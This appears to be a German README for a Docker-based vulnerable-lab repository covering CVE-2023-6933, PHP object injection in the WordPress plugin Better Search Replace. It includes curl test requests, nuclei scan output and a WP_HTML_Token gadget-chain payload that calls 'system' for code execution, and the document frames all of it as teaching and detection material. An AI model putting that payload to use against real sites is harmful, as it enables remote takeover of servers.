CVE-2023-6933 Schwachstellen-Labor
Überblick
Diese Laborumgebung demonstriert CVE-2023-6933, eine kritische PHP-Object-Injection-Schwachstelle im WordPress-Plugin Better Search Replace in Versionen ≤1.4.4.
Schwachstellendetails
- CVE ID: CVE-2023-6933
- CVSS-Score: 9.8 (Kritisch)
- Betroffenes Plugin: Better Search Replace ≤1.4.4
- Schwachstellentyp: PHP-Object-Injection über unserialisierte Benutzereingaben
- Angriffsvektor: AJAX-Endpunkt
/wp-admin/admin-ajax.php mit der Aktion search_replace_db
Schnellstart
1. Labor bereitstellen
# Repository klonen
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Bereitstellung mit Docker-Hub-Image (automatischer Pull)
docker-compose up -d
Das Labor wird automatisch:
- Das verwundbare WordPress-Image von Docker Hub ziehen (
trex999/vulnerable-bsr-lab:latest)
- WordPress mit MySQL und phpMyAdmin einrichten
- Das verwundbare Plugin Better Search Replace (v1.4.4) installieren und aktivieren
- Die Installation in ca. 60 Sekunden abschließen
2. Auf die Umgebung zugreifen
3. Die Schwachstelle testen
# Automatisierten POC ausführen
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manueller Test per curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Technische Analyse
Die Schwachstelle
Das Plugin Better Search Replace enthält eine PHP-Object-Injection-Schwachstelle in seinem AJAX-Handler. Die Schwachstelle tritt auf, wenn:
- Benutzereingaben per POST an den Parameter
search_for an /wp-admin/admin-ajax.php übergeben werden
- Die Aktion auf
search_replace_db gesetzt ist
- Die Eingabe serialisierte PHP-Objekte enthält, die ohne ordnungsgemäße Validierung unserialisiert werden
- Dies ermöglicht die beliebige Instanziierung von Objekten und potenzielle Codeausführung
POC-Verifikationsmethoden
Unsere Nuclei-Vorlage demonstriert die Schwachstelle über mehrere Verifikationsstufen:
- Plugin-Erkennung: Bestätigt das Vorhandensein der verwundbaren Plugin-Version
- Object-Injection-Test: Sendet serialisierte Payloads und analysiert Antworten
- Verhaltensbasierte Verifikation: Bestätigt die erfolgreiche Deserialisierung von Objekten
Hauptmerkmale dieses Labors
- Keine Fehlerabhängigkeit: Der POC demonstriert die tatsächliche Schwachstelle durch Verhaltensanalyse, nicht durch Fehlermeldungen
- Funktionaler Test: Verwendet sichere serialisierte Objekte, um die Deserialisierung ohne Systemschäden zu verifizieren
- Automatisierte Bereitstellung: Vollständige Laboreinrichtung ohne manuelle Konfiguration
- Mehrere Testmethoden: Sowohl automatisierte Nuclei-Vorlagen als auch manuelle curl-Befehle
Dokumentation
Kurzreferenz
- README.md: Diese Datei – Schnellstart und Überblick
- CVE-2023-6933_POC_DOCUMENTATION.md: Vollständige technische Dokumentation mit detaillierter PoC-Analyse
- POC_TEMPLATE_SUMMARY.md: Anforderungskonformität und Lieferbestätigung
Professionelle PoC-Vorlage
Die Nuclei-Vorlage (nuclei-templates/cve-2023-6933.yaml) ist professionell strukturiert:
- Sauberer Code ohne übermäßige Kommentare
- Umfassende technische Dokumentation in separaten Dateien
- Produktionsreifes Vorlagenformat
- Vollständige Einhaltung der Standards der Sicherheitsforschung
Testergebnisse
Erfolgreiche POC-Ausführung
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
Der POC bestätigt erfolgreich:
- ✅ Erkennt die verwundbare Plugin-Version
- ✅ Bestätigt die Object-Injection-Fähigkeit durch Antwortanalyse
- ✅ Demonstriert die funktionale Schwachstelle ohne Fehlerabhängigkeit
- ✅ Liefert eine verhaltensbasierte Verifikation der erfolgreichen Deserialisierung
Sicherheitshinweis
⚠️ WARNUNG: Diese Umgebung enthält absichtlich verwundbare Software. Nur in isolierten Testumgebungen verwenden. Nicht in Produktions- oder internetzugänglichen Systemen bereitstellen.
Bereinigung
Referenzen
Erstellt für Bildungs- und Sicherheitsforschungszwecke
Docker-Umgebung (Docker_LAB_SETUP/)
- WordPress 6.4.0 mit verwundbarem Better Search Replace 1.4.3
- MySQL 8.0 Datenbankserver
- phpMyAdmin für die Datenbankverwaltung
- Vorkonfigurierte verwundbare Umgebung
Exploit-Skripte
cve_2023_6933_exploit.php – Umfassendes PHP-Exploitation-Toolkit
wp_html_token_poc.php – WordPress-6.4.0+-RCE-Demonstration
bsr_direct_exploit.php – Direkter Schwachstellentest
nuclei-templates/cve-2023-6933.yaml – Erweiterte Nuclei-Vorlage
manual-test.sh – Umfassendes manuelles Testskript
🎯 Korrekte Exploitation-Methodik
Dieses Labor demonstriert die nicht fehlerbasierte Erkennung gemäß den Best Practices der Schwachstellenforschung:
1. Erfolgsbasierte Erkennung
Anstatt sich auf HTTP-500-Fehler zu verlassen, erkennen unsere Tools:
- Erfolgreiche Payload-Verarbeitung
- Deserialisierung serialisierter Objekte
- Antwortmuster der Anwendung
- Funktionale Exploitation-Nachweise
2. WP_HTML_Token-RCE-Kette
Nutzung der WP_HTML_Token-Klasse von WordPress 6.4.0+ für echte RCE:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
3. Mehrere Angriffsvektoren
- AJAX-Endpunkt-Exploitation (
admin-ajax.php)
- Direkte Manipulation der Plugin-Schnittstelle
- Datenbank-Injection über Such-/Ersetzungsvorgänge
🔬 Testansatz
Manuelles Testen
# Grundlegende Plugin-Präsenz testen
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Schwachstelle mit sicherer Payload testen
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
Funktionen der Nuclei-Vorlage
- Multi-Vektor-Tests: 5 verschiedene HTTP-Anfragen
- Erfolgsbasierte Matcher: Sucht nach funktionaler Verarbeitung, nicht nach Fehlern
- Umfassende Extraktion: Versionserkennung, Antwortanalyse
- Sichere Payloads: Nicht-destruktiver Testansatz
Funktionen des manuellen Tests
- Plugin-Versionserkennung und -validierung
- Generierung und Test mehrerer Payloads
- WP_HTML_Token-RCE-Demonstration
- Umfassende Schwachstellenverifikation
📊 Labor-Zugangspunkte
🛡️ Sicherheitsüberlegungen
Für Forscher
- Dies ist eine absichtlich verwundbare Umgebung
- Nur in isolierten/kontrollierten Netzwerken verwenden
- Nicht für Produktionsumgebungen
- Nur für Bildungszwecke
Für Verteidiger
- Better Search Replace auf ≥ 1.4.5 aktualisieren
- WAF-Regeln für serialisierte Daten implementieren
- Auf Object-Injection-Muster überwachen
- Regelmäßige Sicherheitsaudits von WordPress-Plugins
📚 Bildungswert
Dieses Labor bietet praktische Erfahrung mit:
- PHP-Object-Injection-Schwachstellen
- Sicherheitsanalyse von WordPress-Plugins
- Serialisierungs-/Deserialisierungsangriffen
- Gadget-Chain-Exploitation
- Automatisierung der Schwachstellenerkennung
- Sicherheitstestmethoden
Autor: Trex
Labor-Version: 2.0 – Erweiterte POC-Methodik